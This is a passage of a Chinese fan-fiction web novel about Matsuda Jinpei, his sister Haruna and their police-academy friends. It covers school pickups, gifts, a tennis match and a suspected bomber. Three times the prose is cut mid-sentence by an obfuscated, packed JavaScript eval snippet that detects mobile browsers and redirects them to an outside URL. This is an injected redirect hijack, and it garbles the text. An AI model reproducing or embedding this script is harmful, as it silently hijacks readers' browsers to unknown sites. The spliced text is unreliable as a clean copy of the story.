伊达航本来想跟过来看着他们,但因为和女友娜塔莉提前说好要去约会。所以只好嘱咐降谷零他们几个盯好松田阵平,在外面也要注意纪律,千万别违反校规。 鬼冢教官的头发眼看要遭不住了,洗发水据说都已经改成防脱系列的了。 松田阵平看着班长那张不童老颜,有些遗憾。毕竟和他们几个相比,班长这张老成的脸才是绝佳的恐吓。凶狠的表情也不用刻意去做,原始状态下都能吓退一堆未成年。 用来去警告那些对自家妹妹有想法的小混蛋简直就是必备利器。 伊达航察觉到松田阵平的视线一直停留在自己身上,没忍住打了个恶颤。他摸了摸胳膊上起的鸡皮疙瘩,好声好气地说道:“松田,去接你妹妹的时候,记住,千万别额外惹事儿。” 松田阵平装作听不懂的样子,无辜道:“班长,冤枉啊。你知道我从来都不是主动找事的人。” 潜台词就是,要是有人故意惹事,那可就说不准了。 伊达航一哽。合着他在这里苦口婆心给他分析了半天利害,这家伙都没听进去。 虽然还没有结婚生子,但伊达航感觉自己已经提前适应了有熊孩子的婚后生活,带娃经验十分丰富。 他叹了口气,略过松田阵平,直接他的把监护权交给了萩原研二他们几个,让他们务必看管好他,千万别让松田在外面闯祸。 几人点头承诺之后,伊达航这才不放心地休假约会去了。 由于他们的警校制服不能随意穿出校外,所以松田阵平只好熄了这个念头。他在衣柜前左思右想,除了警察预备役以外,不知道还有什么样的社会身份,才能让冰帝那些富家子弟有所忌惮。 诸伏景光轻咳一声,默默发言:“大概是和警察相反的身份吧...” 语音刚落,几人的目光同时落到他的身上。 没想到啊没想到。 小伙子瞧着浓眉大眼挺阳光的,内里也是黑芝麻馅的。 松田阵平大手一挥,接妹四人组的造型就此出炉——街头□□风。 关于在冰帝门口接人,萩原研二有过一次经验,已经显得游刃有余。 对比起降谷零和诸伏景光的呆滞和无所适从,他这次已经可以向周围的人点头微笑了——虽然没人回他就是了。 看着周围来往的车辆,以及连号的车牌,诸伏景光轻声说道:“怪不得松田担心春奈受欺负,冰帝门口的豪车简直比车展上的还要多。” “前段时间布加迪刚发布了一版敞篷超跑,全球限量99台。”降谷零用眼神示意,“现在我们左前方35度方向就是其中一辆。” 萩原研二:“降谷,快回头。右后方处有辆你喜欢的马自达rx7。车主还改造了轮胎,看起来更带劲了。” 降谷零转头看了很久,幽幽道:“不知道咱们毕业之后,我得攒多久才能买得起这么一辆。” “我打听过,咱们职业组警校毕业之后可以直接晋升为警部补,年薪大概是630万日元。”松田阵平眼观六路,耳听八方,“一年的工资省着点用还是能买得起的。” 诸伏景光震惊道:“行啊,松田,这你都打听清楚了。我还以为你天天只想着揍警示总监呢。” 松田阵平没理会损友的调侃,吹了吹刘海。该找个时间去剪剪了,有些挡眼睛,他想道。 “补充一条,警示总监的年薪大概是1328万日元。等我到这个位置以后,第一件事就给中低层涨薪。”松田阵平给自己拉选票,“你们到时候记得给我投票。” 几人随意闲聊的时候,一个褐色头发的男生慢慢挪了过来。他先是保持了一小段安全距离观察一下他们四个哪个最面善,为了统一风格,几人都穿着暗色系的衣服,几周的军事化训练也能从外表上看出点效果,看起来就很能打的样子。 矮子里面拔将军,他最后径直朝着诸伏景光走了过来:“那个,你们几位都是来接松田桑的么?” 松田阵平上下扫视他一眼,点点头。 褐发男生打量了他们四个一眼,眼神转得飞快,仿佛知道了什么一样,后退一步。捂住嘴巴小声惊呼,转身小跑着离开了。 松田阵平挠挠后脑勺,和他们对视一眼:“诸伏,你说这招管用吗?” “他都被你吓跑了,你说呢?”好脾气的诸伏景光都有些忍不住了。 降谷零吐槽道:“其实,就凭松田的气势,咱们就算不用打扮成这样,照样也会被误解成打手吧。” 萩原研二默默点头。 松田春奈离校门口还有一段距离的时候,就远远地发现周五来接她放学的队伍似乎又壮大了。 还是跟上次一样,在这几人的周围形成了一个真空地带,没有人靠近他们,大家都默契地绕着他们走。 虽说有形色各异的帅哥来接自己放学是一种福气,但如果变成了形色各异的□□大哥,那就是另一种说法了... 还有,他们这种打扮到底是谁教的啊,走在路上真的没人看他们吗? 月曜夜未央的节目组在哪,你们的素材来了... 松田春奈越往前走,就越想转身回去把帽子和口罩戴上,脚步沉重地堪比早八。 在装鸵鸟这方面,她的脑内频率难得和松田阵平的对上了。 松田春奈努力在内心给自己加油打气,快速地和他们打了个招呼,就立刻拖着他们从校门口离开了。 松田阵平在路上献宝道:“春奈,今天这么接你觉得开心吗?” “额...嗯...挺好的。你以后要是忙的话,可以不用这么兴师动众地来接我的,毕竟我平常也是自己回家。” “你喜欢就好,我已经和我们班长说好了,下周把他也带上来接你。” “......不用了吧。”松田春奈惊恐地看向萩原研二,疯狂地给他使眼色。 萩原研二解围道:“小阵平,班长和我们这些单身的闲人可不一样。他周末是要去谈恋爱的。” 松田春奈连忙应和道:“就是就是,光是你们四位来接我就已经足够了。哥哥,还是让你们班长周末好好休息一下吧。” “放心吧,这点我已经和他商量好了。”松田阵平说得轻松极了,“下周五班长和他女朋友一起和我们来接你。” “...哈?”松田春奈觉得自己好像还没睡醒,不愿相信眼前的事实。 “省得他老是对我不放心,觉得我随时会闯祸。到时候接完你以后,大家再在一起吃个饭,我带着你认认人。” “没有这个必要吧...” “很有必要!等以后我毕业了,看看能不能申请到你们学校附近巡逻。” 松田春奈干笑两声,大概在妹控的眼中,这个世界到处都是危险。 * 论坛里的一些闲聊 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266294|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >题目:【震惊!校花家里竟然是做这个的.....】 楼主:今天周五,校花的哥哥又来接她放学啦,这次楼主终于知道校花家里是做什么的了! 1L:我也看到了!!!而且这次接她的人,比上次还多了俩! 2L:什么什么什么???我的小耳朵,悄悄竖起来。 3L:楼主你这个标题起的...可以直接拿着这个帖子去入职新闻部了哈。 4L:之前不是讨论过嘛,妹妹就是普通人家,没必要在这儿扒。都散了吧。 5L:这个帖子我已经投诉了,妹妹是素人,你们这属于侵犯人隐私了哈。有本事去扒咱校董的后代啊,搁这儿装什么大尾巴狼呢。 楼主:不好意思,刚刚去喝了口水。长话短说,校花家里应该是开安保公司的。 7L:...???什么安保???什么公司??? 8L:信这个不如信我是流落在外的天皇之子。我在东京有200亿的资产被冻结了,但我现在人在大阪回不去。现在只要你转账1亿日元,作为我的流动资金解冻账户。我在大阪有自己的部队,若是你今天帮了我,我在大阪给你留个警示总监的位置。账户是我的id。 9L:楼上好有才,笑得我喷饭嘎嘎嘎。 10L:只能说,相信楼主的话的人,请务必留下自己的姓名,以后我一定会在商业方面避开和你们的合作... 11L:点了。就是这里没有打广告的,不然以后你们都是买各种老年保健品,以及乳胶枕头的忠实用户。 12L:楼主别发癫哈。妹妹家里是开拳击馆的这个大家都知道,人家也从来没避讳过。而且她哥哥是警校生。不知道怎么到你嘴里现在变成安保公司的了,简直离谱… 13L:服了。楼主你咋不说妹妹家里是雇佣军呢?全是杀人越货的那种帮派头子。 楼主:真的!!!首先,他们几个服装统一,都是暗色系。其次,他们等人的时候,分工明确。有人负责盯梢,有人负责巡查。业务非常熟练。最后,我相信我的直觉。 为了在校师生的人身安全,应该把这样的恐怖分子开除才对。 15L:乐。终于憋不住了是吧,饶了半天圈子终于说出来内心真实想法了是吧? 16L:还你~的~直~觉~我的直觉告诉我,楼主才是最应该被开除的。 17L:楼主应该是最新入学的吧。友情提醒一下你,冰帝和别的贵族学校不一样哈。我们这儿不搞霸凌,强者为王。 18L:霸凌的风气别带到冰帝,不然反查你的信息还是很简单的,分分钟的事。 19L:神经!来人,上表情包! 20L:把妹妹开除了,我上学看谁去啊?天天指着这个当我上学源动力呢好伐。 25L:来几个人接妹妹,看把楼主吓得。不过能吓到也挺好的,起码人家哥哥的目的也算达到了。我说你可小心点,以后说不定来接妹妹的人越来越多,你可别被吓死了哈。 26L:等妹妹的哥哥毕业以后,说不定还会穿警察制服来接哦~气不死你略略略。 27L:想欺负妹妹的话,你算是踢到铁板啦! =====本帖出现违规情况,禁止回复===== 作者有话要说: 感谢在2024-02-1522:47:50~2024-02-1711:37:05期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:超想喝奶茶1瓶;非常感谢大家对我的支持,我会继续努力的! 21. 第 21 章 降谷零和诸伏景光是第一次来松田家。 两人本来以为送到路口就算完成任务,但松田阵平执意让他们都到自己家来认认路。 美名其曰,等以后大家毕业了,不管是谁被分配到米花町附近,巡逻的时候都能顺便接松田春奈放学。 松田春奈对他的强硬手段十分震惊,抗议道:“哥哥,我也需要有自己的私人空间!” “反对无效,抗议驳回。”松田阵平冷面无情地说道。 松田春奈满脸不服气,气鼓鼓地瞪着他:“你这是独裁主义!” 松田阵平不紧不慢地开口问道:“上周我和降谷离开之后,隔壁球场是不是有几个人去找你麻烦了?” 松田春奈:“……” 糟糕。 上周和哥哥汇报的时候,她明明特意略过这段没说来着。 “我没说不就是怕你担心嘛,反正我都用武力把他们解决了。” 本来还乐呵呵听着兄妹两人斗嘴的吃瓜群众,也渐渐严肃起来。 “你不想让我接送也行,等你哪天在我手下撑得住十分钟,这项规定就可以取消了。”松田阵平看她一脸心虚的样子,也没去和她翻旧账,直接亮出了自己的条件。 “你这是强权霸权主义!我要投诉你!” “弱国无外交,我有权一票否决你。” 松田春奈气急,扭头习惯性地找萩原研二当靠山。 萩原研二罕见地站在松田阵平那边:“小阵平,让春奈妹妹在你这里撑十分钟是不是有点太短了?她现在体力也渐渐上来了,我觉得应该再拔高点标准。” 降谷零和诸伏景光在一旁默默点头附和。 松田春奈顿感无望:“再这样搞下去,我上大学的时候还得让你们来接送。” 松田阵平本来就是这么打算的,但为了保护她现在已经岌岌可危的心情,明智地什么也没说。 松田春奈的嘴巴现在完全可以挂上一瓶酱油,本来打算送给他们的礼物都不想拿出来了。 拳击馆周五的生意爆满,松田父母无暇分身,打电话过来直接让兄妹两个自己买点吃的。 诸伏景光看出来她不开心,语气温柔地哄她:“春奈,你有没有喜欢吃的菜?我待会儿做给你吃好不好?” 松田春奈看着眼前耐心劝解自己的帅哥,叹了口气,实在狠不下心继续闹小脾气。 起身“哒哒哒”地跑到卧室,把那本自开学以来,自己陆陆续续记录地食堂菜谱递了过去。 “诸伏哥,听哥哥说你喜欢研究美食。这是我们学校食堂排名前一百的菜品食谱,除了秘制调料的配比以外,其他的步骤差不多都在上面了,希望你能喜欢。” 诸伏景光如获至宝。 他本来就爱下厨。当自己做得饭菜被朋友喜欢时,他更会有种双重满足感。 每次他去外食的时候,遇到好吃的饭菜,回家都会想法子自己做一遍,看能不能复刻下来。 看着眼前乖巧可爱的松田春奈,有些忐忑地站在自己面前,满心满眼都是在担心自己不喜欢她的礼物。 诸伏景光实在没忍住,轻轻用手摸了摸她的头:“春奈,谢谢你。这份礼物我很喜欢。” “上面多数的饭菜都是星级酒店的招牌,还有些菜连名字我都没听说过,多谢你拿来和我分享。” 松田春奈被他夸得开心极了,强撑着告诫自己不要得意忘形,双手捧脸道:“嘿嘿,诸伏哥喜欢就好。” 诸伏景光赞叹道:“冰帝真的是实力雄厚,今天咱们晚饭就照着上面的做几道,我们几个也算是跟春奈沾光了。” 松田春奈被给足了情绪价值,心满意足道:“诸伏哥,等我在冰帝毕业之后,再送给你一本完整版的冰帝食堂菜谱。” 降谷零开玩笑道:“不愧是景,还是这么受欢迎。” “降谷哥也是啊。”她抬头看着他认真地说道。 降谷零被这句话搞得不知所措,手脚不知道往哪里放才好。甚至有那么一瞬间开始怀疑,自己被排斥的经历是不是真的存在过。 他吞吞吐吐道:“咳...谢...谢谢?” 礼物既然都已经开始送了,松田春奈打算一次性送完,过一把圣诞老人的瘾。 “降谷哥,我这里有几张周六东京网球巡回赛的票…”她把书包里的门票拿出来,开口道,“不过都是同学送的,我这顶多算是借花献佛。” 降谷零没有伸手,反而忧心忡忡道:“我记得这个票现在已经炒到20万日元一张了,这个同学竟然还送你这么多...送你票的同学是不是对你有什么企图?” 松田阵平警惕地问道:“这个票是谁给你的?不会是你那个同桌吧?” “不是他,但是我把票也给了他一张。” 松田阵平刚要放松下来的肩膀,立马又提了起来。 “你给他干吗?”他问得鼻子不是鼻子,脸不是脸的。 “哥,你干嘛对迹部敌意这么大啊?”松田春奈不解道,“迹部他人真的很好的,帮了我很多。” 越听越憋气,松田阵平感觉自己现在需要叫救护车。他按着自己的人中,拼命保持淡定。 忍住,忍住。 专家说过,如果跟青春期的青少年反着来,更容易激化他们的逆反心理。 他忍! “最近学生会和三井集团有合作,所以三井集团的人就给了我几张票。”知道哥哥对自己身边出现的异性总是如临大敌的德行,松田春乃直接把三井树的事情含混了过去。 反正他本身也算三井集团的人,自己说得也没毛病。 降谷零这才安心,接过票仔细看着上面的参赛嘉宾:“听说这个赛事是铃木财团投资赞助的,邀请的运动员都是世界排名前五十的选手,简直就是财大气粗。” “谢谢春奈,以后你的网球我包了,一定让你打赢你哥。” 松田春奈直面了第二波美色攻击,大脑被冲击地晕晕乎乎的,颇有些飘飘然之感。 其实哥哥上警校也挺好的,别的不说,起码他的同期都是身材好的大帅哥。她想道。 “喂喂喂!我还在这儿呢。当着我的面说这个话,真的好吗?”松田阵平吐槽道。 萩原研二揽过他的肩膀,同病相怜道:“小阵平,死心吧。春奈妹妹现在最喜欢的哥哥里面,你我只能排到前五了。” “...我谢谢你这么会安慰我啊。” 松田春奈笑眯眯地说道:“研二哥的话,还是能排到并列第一的,哥哥才是只能排前五。” 松田阵平被怼得双手投降,轻敲她额头:“小没良心的。” 松田春奈弯腰,把沙发下的乐高跑车盒子推了出来:“研二哥,这是给你的。我特意问过千速姐,这款车型的乐高你还没买过。” 箱子上的示意图看起来就价值不菲。 “爸妈给你涨零花钱了?”松田阵平问道。 “没有啊,都是我自己赚得!”松田春奈得意极了,“最近冰帝的奖学金到账了,我还和三井集团合作了一个项目,他们也给了我点分红。” “爸妈还有千速姐,以及其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266295|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的礼物我早都送完一圈了,就剩你们的了。” 几人对视一眼,莫名感觉自己被后浪拍在了沙滩上。一直以来,在学业等各方面,他们都是给同辈压力的人。现在倒好,不是不到,是时候未到。 其实,他们这种警校生每月都有工资补贴,数额也不算低。只是目前薪资还没到账,所以和松田春奈一比,他们几个就显得比较拮据。 他们在心里暗下决定,等工资到账,一定第一时间就把礼物补上。 “感觉以后都不能叫春奈妹妹了。”萩原研二摩挲着乐高说道,“得改口叫春奈姐姐才配得上她的实力。” 松田春奈双手双脚表示赞成:“研二哥,我以姐姐的身份命令你,周五——” “只要你在我手下撑过20分钟。”话还没说完,萩原研二立刻说道,“我肯定答应你,春奈姐姐。” “...当我没说。” 在座的其他人都送完了,松田阵平不自觉地看向她。 松田春奈眨眨眼睛说道:“礼物在你卧室的书桌上。” 他故作淡定地走了进去,把一个包装简单的盒子拿了出来。 盒子外观没有任何提示性的标语,他晃了晃,探头听了听里面的声音,好奇道:“还挺重,你送了我什么?” 松田春奈示意他打开。 松田阵平用力一扯,几根绑在一起的红色圆柱体器械露了一角,上面还印着FBI制作几个大字。 “!!!”他一眼就认了出来,这是他梦寐以求的炸弹模型。 尽管在网上观摩过无数遍,模型的外观都能画下来了,但他还是被面前的礼物震惊了。 “嘶——”松田阵平瞪大眼睛,表情管理完全失败。 “我把官网上所有的功能都选配上了——” 他轻轻地抚摸着模型的外观,心理五味杂陈。 汹涌澎湃的感动之下,还间或掺杂着一丝说不清道不明的失落。 从小看到大捧在手心的妹妹,一眨眼就长这么大,还能给自己准备礼物了。相比较之下,自己还没什么积蓄,难免有些心理落差,觉得妹妹是不是很快就会不需要自己了。 萩原研二了解他的感受,用胳膊肘轻轻碰他,让他注意表情。 松田阵平一甩头,把复杂的想法抛开。重新打起精神,燃起斗志,。 毕业以后要更加努力工作才行,起码不能被自家妹妹落下太远,也不知道成为警示总监需要几年。 他把礼物轻轻地放到茶几上,郑重说道:“春奈,谢谢你。这个礼物哥哥很喜欢。” 松田春奈虽然很满意自己挑选的礼物被人所喜欢,但他这种状态真的没问题吗? “哥,你没事吧?”她摸着他的额头,担心是不是发烧了,“你别这么说话,我害怕。” 看着她的表情,松田阵平内心的失落倏然消散。 就算长大了也是个小屁孩呢,还是每周五都需要自己接送的那种。 “我觉得萩刚刚的提议挺好的。” “...什么提议?” “春奈姐姐~~” “啊——松田阵平!!你给我好好说话!!!” 作者有话要说: 心里种下一颗种子,达拉迪达拉,松田阵平打算成为警示总监,达拉迪达拉~感谢在2024-02-1711:37:05~2024-02-1911:08:38期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:超想喝奶茶1瓶;非常感谢大家对我的支持,我会继续努力的! 22. 第 22 章 第二天一早,萩原研二在门口看到同步打哈欠的兄妹两人,了然问道:“为了研究那个模型,昨晚熬夜了吧?” 松田春奈有气无力地点点头。 托有这么个哥哥的福,她从小被迫了解了许多关于炸弹的知识——从构造到设计再到原理。 甚至连有些出名的炸弹案,他都当作少儿常识去给她科普。 松田春奈小的时候没什么朋友,天天宅在家里。松田阵平为了不让她觉得无聊,自己拆卸东西的时候,都会让她做些帮忙跑腿或者固定之类的活。 等她大些,手指控制力上来之后。兄妹两人日常的放松游戏就是一个人负责设计组装,另一个人负责将其拆除,看谁用时最少。 光是萩原研二的乐高模型就不知道被他们两个拆卸了多少次。 昨晚的劲头一上来,两人直接熬了个大夜,一边探讨一边合力把模型拆解了一遍。松田阵平觉得不过瘾,复原的过程中继续拉着她讨论还可以怎么改良。 设计图画出来之后,松田春奈实在是熬不住,先回屋睡觉了。松田阵平一个人直接研究了个通宵,拆了装装了拆,反而越熬越精神。 萩原研二指了指松田阵平包着绷带的右手,问道:“小阵平,你这手是…?” 松田春奈扑哧一笑:“今天早上做饭的时候,我哥他——” “咳咳…失误失误。反正也没什么大事,还是赶紧去球场吧咱们。”松田阵平转移话题道。 松田春奈背着她的双肩包在前面带路,萩原研二和松田阵平在后面窃窃私语:“小阵平,你昨天在群里还让我们几个今天记得打扮。弄了半天,怎么把自己搞得这么狼狈。” “今天春奈那个同桌也会过来,本来想给他个下马威的...”松田阵平的脸色顿时变得五彩缤纷起来。 “不管怎么说,人数上咱们肯定占优势。” “...我是打算从气势上压倒他。” “什么气势?□□打手的气势吗?” 东京网球场占地面积很大,许多重要赛事都在这里举办过。当初建造的时候铃木财团也有出资,所以外表看起来十分的金碧辉煌。 “听说这个网球场还有可以自动合拢的顶棚,如果天气状况不好,可以随时启动这个设置。” “我去年夏天在这里看过球赛,因为天气太热,主办方将顶棚合拢之后,气温直接恒定下来,特别舒服。” 球场外面的球迷里三层外三层,叽叽喳喳地聊着天。 主办方知道这次邀请赛请的嘉宾粉丝很多,所以很贴心地在场外也设立了大屏幕,可以实时转播场内比赛。而且还提供了休息区域,让场外没有票的粉丝也能坐下休息。 松田春奈他们拿的是VIP票,走快速通道检票进去之后,发现降谷零和诸伏景光已经在座位上等他们了。 得益于昨晚松田阵平的嘱咐,几个男生都打扮得很是帅气,旁边还时不时会有目光飘过来驻足欣赏。 虽然降谷和诸伏两个人没有明说,但是他们落到松田阵平右手上的目光如有实质,仿佛在说,你让我们精心打扮,结果自己却拖了后腿。 诸伏景光把纸巾递过去说道:“我和零刚刚已经擦过一遍了,你们坐下之前可以再擦一擦。” 松田春奈道了声谢,看着椅子不脏的样子,就没打算用。转身刚要坐下来,迹部景吾几步跑了过来,轻扶她的胳膊,说道:“松田,我带了湿巾,等我把椅子擦完你再坐。” 诸伏景光轻挑眉毛,看着迹部在殷勤的样子有些不爽,终于理解松田为什么看他不顺眼了。 在别人哥哥面前还这么嚣张,确实有够目中无人的。 松田春奈不好意思拒绝他的好意,迹部景吾抓紧机会,三下两下把她的座椅擦了个干净。然后把剩下的一沓湿巾递到松田阵平他们面前,问道:“各位...前辈,如果有需要的话,还请自取。” 松田春奈顺势简单介绍了一下双方。 迹部景吾抬眼认人,唔,一二三四,哥哥的数量好像又增加了...... 追人的道路上,怎么坎坷越来越多,真的是前路漫漫。 松田阵平对他没什么好印象,因为自己的右手行动不便,无法阻止他刚刚的行动,只好眼看着他做完。但还是在自家妹妹的压迫下,勉强挤出了个笑容,和他打了声招呼。 入座前,他本想耍个心眼,用自己把他们两个隔开。结果被松田春奈一眼识破,直接把他按在了自己的左手边。 松田春奈:“迹部,三井树今天也会过来——” 迹部景吾条件反射性扬起微笑,答案标准得像是提前准备过一样:“我知道,他应该就坐在我的旁边,待会儿我会好好照顾他的。” 话是这么说,但他心里清楚得很,照顾是绝不会有的,添堵倒是可以多来点。 真是期待他看见自己坐在这里的样子,甚至都有些迫不及待了。 松田阵平竖起耳朵努力偷听。 怎么回事?三井树又是谁?这些没听过的人都是从哪里冒出来的?怎么跟打地鼠似的打不完了呢? 三井树今天特意穿了一身白衬衫,和他亚麻色的头发特别搭,看起来温文无害,斯文极了。 松田春奈看见他之后,立马起身把手中的纸巾递过去:“三井,谢谢你的票。这还是我第一次来这里看球赛。” 三井树把纸巾攥在手里,先是和松田阵平他们打了声招呼,这才慢条斯理地弯腰把椅子擦干净。 他们几个倒是对他没有那么大的意见,双方平和极了,松田春奈也松了口气。 “松田,你的手...”三井树侧过头指了指她的手背。 松田春奈低头,发现上面不知道什么时候蹭上了两道黑灰。 三井树从口袋里掏出来酒精湿巾:“用这个吧。” 萩原研二觉得这一幕很有意思,在他们几个的群里吐槽:“从纸巾到湿巾再到酒精湿巾,不知道下一个人会拿什么。” 诸伏景光调侃道:“萩原,先别猜了。看看松田吧,他都快碎了。” 降谷零默默在后面加一。 松田阵平把群置顶取消,默默决定把左手打字这件事提上日程。 三井树在心里默默复盘,之前没有请女孩出去玩的经验,大意了。 只送一张票,担心她婉拒;多送票的时候想到会带家属,但没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11266296|119619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到会带情敌...更没想到自己还会和他挨着坐。 嗯,下次还是得请外援帮忙支招。 不得不说,商业赛的氛围就是好。 观众不但可以欢呼出声,还能为自己喜欢的选手加油助威,看头十足。 降谷零正好是某位邀请嘉宾的铁杆粉丝。几人之中就属他装备最齐全。他还特意带了偶像的同款发带,希望赛后能有机会得到亲笔签名。 松田阵平暗自绷紧了神经,没顾上看比赛,把大部分的精力都用到了松田春奈身上。越是欢呼声大,气氛好的时候,越是坐立难安。 特别担心迹部这家伙会不会因为看得一时上头,从而会和春奈借机有什么肢体上的接触。 松田春奈完全没有意识到自家哥哥的心理活动,比赛看得十分投入。不愧是世界级的选手,就连她这个刚入门的人都能看出来他们扎实的基本功。 本来她还担心,这种比赛会不会充满各种高难度招式,自己会不会看不懂其中的原理。但没想到,自己设想的那些根本不存在。 第一轮对打很快就结束了,中场休息的时候,铃木集团这次把一直保密的特邀嘉宾——冲野洋子请了出来。 观众的情绪完全被带动了起来。 迹部景吾和三井树压根没看台下的表演,两个人准备十分充分,纷纷从包里拿出来准备好的能量饮料以及包装精致的零食。 两人对视一眼之后,默契地将手中的东西递向了松田春奈。 两条修长有力的手臂,同时出现在了自己面前。 三井树只是看起来清瘦,但当他将衬衫随意挽起来时,手臂处锻炼的痕迹一览无余,腕表衬着他很有些精英的派头。 迹部景吾今天只简单穿了个短袖,衣服的材质很好,每当风吹过,上面总会隐隐约约透出来些肌肉线条,手上的腕带好像还是上次他们一起在店里挑选的。 这样的场景,属实对她来说有点太超过了。 听到来自后方的小声惊呼,松田春奈就算再没开窍也感觉到有点不对劲,她的第六感保护机制瞬间开启,婉拒道:“谢谢,不用了,我都有带。” 然后默默从自己的书包里拿出来柠檬水一阵狂炫。 旁边的坐着的哥哥们眼神交换间颇有些深意,萩原研二强行拽住松田阵平,让他不要瞎掺和。 诸伏景光看得一阵牙疼,担心松田春奈这么喝下去,会把自己喝出胃酸。于是把自己早上做得三明治递给了松田阵平,想让他传过去,多少让她垫垫肚子。 松田阵平起身,正好和前排经过的路人撞了一下。路人看起来一幅唯唯诺诺的样子,连忙鞠躬道歉。他把三明治放到自己口袋里,上前和路人含笑说了几句,顺手帮他把领子翻出来,然后目送他走远。 此时的路人还没有发觉,在他身后,降谷零和诸伏景光已然悄悄地跟了上去。 作者有话要说: 感谢在2024-02-1911:08:39~2024-02-2116:21:18期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:超想喝奶茶1瓶;非常感谢大家对我的支持,我会继续努力的! 23. 第 23 章 松田阵平神色如常地把三明治递给了松田春奈,然后转头对萩原研二使了个眼色,两人凑近之后,他悄声说道:“那人身上有股臭鸡蛋味儿。” 萩原研二神色顿时一凛。 他们在警校曾经制作过简单的炸药,用料虽然简单,但是威力却不可小觑。爆炸之后的臭味感觉怎么都洗不掉,气味缭绕三日不绝。 他们在私下里讨论过,那种臭味应该是臭鸡蛋的味道。 这个颇具代指性的词语此时出现在人群这么密集的场合,并不是一件好事。 他知道自己发小的能力。从小对这方面就感兴趣,排爆课上从来没失过手。不论是藏得多么隐蔽的炸弹,最后都能被他排查出来。 大家心里都有数,毕业后松田一定能被选入进□□处理班。 所以,但凡是他所怀疑的,必定是有问题的。 “而且这人很敏锐,表面看起来窝囊,但实际动作矫捷。”松田阵平继续说道,“我本想和他借机握手,看看他指缝处有没有东西残留,但被他避开了。我不想打草惊蛇,就没再坚持,但愿是我想多了。” 他虽然嘴上这么说,但心里很明确,那个路人一定是有问题的。 只是问题的大小罢了。 诸伏景光很快就独自回来了,三人凑在一起低声说道:“我和零紧跟在他后面,凑近之后确实能闻到他身上有一点臭鸡蛋的味道。他全程表现得都很正常,但这反而显得很不正常。去卫生间的路上人其实很多,他不但没有不耐烦,还一幅心情愉悦的样子。” “警惕心很强,进了卫生间之后先去洗手。我特意站在他旁边,看过他的手指。指缝处有些许土黄色的粉末,感觉有点像硫磺。” “他洗手时间不算短,而且还会时不时会从镜子里观察厕所里有没有人在跟踪他,反侦察能力也可以。” 话还没说完,降谷零也回来了。 明明脸上是和周围观众一样的笑意,但眼里却满是凝重。 “我在他走之后,特意进去他的厕位排查过,没有异常。”降谷零说道,“以防万一,我已经和这里的安保说了这件事。他们说待会儿会去再排查一遍。” “他整个人目前的状态很危险,像是在走钢丝,不知道什么时候就会掉下来。明明刚刚和松田碰撞的时候唯唯诺诺的,但当他低头以为没人注意到他的时候,面部表情却很奇怪,像是压抑了很久,终于要释放的感觉。虽然目前还没有掌握实质性证据,但是我相信我们几个的直觉。” 他们几个都是警校的优等生,身上都有一种天生的“警察直觉”。 这种直觉很难用语言形容。 学校请的退休老刑警给他们上课的时候也提到过这一点。 现实生活中开展现场勘查工作时,如果出现摸不着头绪或者线索缺失的情况,就要发挥直觉去分析研判。进行有效信息链接,情景假设,再验证,从而形成线索闭环。 但在目前什么证据都没有的情况下,他们几个实在是太被动了。 也许是感觉到气氛过于沉重,降谷零让语气尽量放松:“刚刚安保告诉过我,每个观众进场的时候都做过两轮排查。他们可以确定,观众里没有人能携带危险物品进来。” “也就是说,危险物他可能都已经提前布置好了。”松田阵平慢慢开口,声音有些嘶哑。 此时,几人不由在内心虔诚地许愿,衷心地希望只是他们自己过于敏感,而不是最坏的那种可能性。 降谷零的手机在此时突然响了起来——是鬼冢教官的电话。 他的心猛地往下一沉。 他接通之后,对方是一个威严的中年人:“降谷同学,你刚刚报警说东京网球场有人涉嫌放置危险物品是吗?” 降谷零去到稍微空旷点的地方,简单汇报了他们几人发现的情况,并且请求警察前来协助排查。 中年人没有拒绝:“就在你打电话之前,有人已经报警说在东京游乐场以及东京图书馆发现了炸弹。所以我们刚刚把警示厅□□处理班的两队警察派出去排爆。” 降谷零心里的那点侥幸消失了,犯罪分子提前用了调虎离山之计。 东京警视厅总共有两班警察负责处理□□处理,现在都被派出去了。等到他们处理完别处的炸弹再往这里赶,可能也来不及了。 中年人的声音在电话里有些失真,中间偶尔会夹杂着鬼冢教官的怒吼——他们几个只上了几个星期的课,还是没毕业的学生,我不同意你们的要求! “在一分钟之前,嫌疑人给警视厅打电话挑衅,放言今天要把东京网球场炸毁。并且威胁警方,如果敢提前撤离群众的话,他会立刻启动□□。” “为了确保群众安全,待会儿警视厅会派便衣警察带着防护服和你们汇合。希望你们几位能配合行动,顺利完成任务。降谷同学,你们能做到吗?” 